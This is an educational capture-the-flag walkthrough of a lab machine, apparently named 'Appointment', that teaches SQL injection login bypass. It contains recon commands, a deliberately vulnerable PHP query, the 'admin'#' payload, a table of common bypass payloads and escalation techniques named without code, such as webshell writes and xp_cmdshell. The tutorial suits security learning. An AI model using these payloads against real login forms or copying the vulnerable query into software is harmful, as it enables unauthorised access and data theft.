⚠️ Legal Disclaimer: This content is for educational purposes only. Always ensure you have proper authorization before testing

Appointment introduces SQL Injection (SQLi) — the #3 vulnerability in the OWASP Top 10 and one of the most impactful web application flaws ever discovered. When user input is inserted directly into a SQL query without sanitisation, an attacker can manipulate the query logic to bypass authentication, extract data, or in some configurations achieve remote code execution. This machine focuses on authentication bypass via a classic login form injection.

Tools: nmap · gobuster · browser  ·  Difficulty: Very Easy  ·  OS: Linux
01 — What You Will Learn
SkillWhy it matters
Web application reconIdentifying the tech stack before probing inputs
SQL injection fundamentalsUnderstanding why unsanitised input breaks query logic
Authentication bypass via SQLiLogging into any account without knowing the password
Comment syntax across databases-- vs # vs /* */ — each SQL dialect has its own comment characters
02 — Reconnaissance
Nmap scan
nmap -sV -sC -p- --min-rate 5000 10.129.x.x
Relevant output
PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.38 ((Debian))

Apache on port 80. Browse to the IP and you're presented with a login form. The stack is Apache + PHP — a classic combination where SQL injection vulnerabilities were historically rampant.

Optional — directory enumeration
gobuster dir -u http://10.129.x.x -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php

This may reveal login.php and other endpoints. For this machine the login form at the root is the target.

03 — Understanding the Vulnerability

A typical login query in PHP looks like this:

Vulnerable PHP query
$query = "SELECT * FROM users WHERE username='" . $user . "' AND password='" . $pass . "'";

When you submit admin as the username, the resulting query is:

SELECT * FROM users WHERE username='admin' AND password='...'

But if you submit admin'# as the username, the query becomes:

SELECT * FROM users WHERE username='admin'#' AND password='...'

The # character begins a comment in MySQL — everything after it is ignored. The password check is completely removed. The query returns the admin user and the login succeeds.

ℹ  SQL comment characters by database: MySQL uses # or -- (with trailing space). PostgreSQL and MSSQL use -- . Oracle uses -- . All support /* */ block comments.
04 — Exploitation

In the login form, enter the following payload as the username. Use anything as the password field — it will be ignored.

Username field payload
admin'#
Password field
(anything)

Login succeeds. The flag is displayed on the authenticated dashboard.

✓ Submit the flag string to complete the machine.
⚠  If the admin'# payload doesn't work, try admin'-- - (double dash, space, dash) which is the ANSI-standard SQL comment syntax and works across all databases.
05 — Common SQLi Authentication Bypass Payloads
PayloadEffectDB
admin'#Comments out password checkMySQL
admin'-- -Comments out password checkAll
' OR '1'='1Always-true conditionAll
' OR 1=1-- -Always-true, comments restAll
admin' OR '1'='1'#Matches any user with always-trueMySQL
' OR 'x'='xClassic always-true bypassAll
') OR ('1'='1Parenthesis variant for complex queriesAll
06 — Beyond Auth Bypass: SQLi Impact Scale
TechniqueWhat it enables
UNION-based injectionExtract data from other tables — usernames, password hashes, emails
Error-based injectionRetrieve data via crafted error messages when output isn't directly shown
Blind boolean injectionInfer data byte-by-byte when there's no visible output
Time-based blind injectionUse SLEEP() to infer data when there's no output and no errors
INTO OUTFILE (MySQL)Write arbitrary files to the filesystem — webshell upload
xp_cmdshell (MSSQL)Execute OS commands directly from SQL — full RCE
07 — Key Takeaways
SQL injection has been in the OWASP Top 10 since its inception. Despite decades of awareness, it remains one of the most commonly found vulnerabilities in web application assessments.
ConceptReal-world relevance
Always try manual SQLi firstA single quote in a form field is still the fastest way to detect injection before reaching for sqlmap
Auth bypass is instant criticalLogging in as admin with no password has an obvious and immediate business impact
Parameterised queries prevent SQLiPrepared statements completely eliminate injection — the fix is well-understood and has no performance cost
SQLi → RCE is possibleIn the right database configuration, SQL injection can escalate to full OS command execution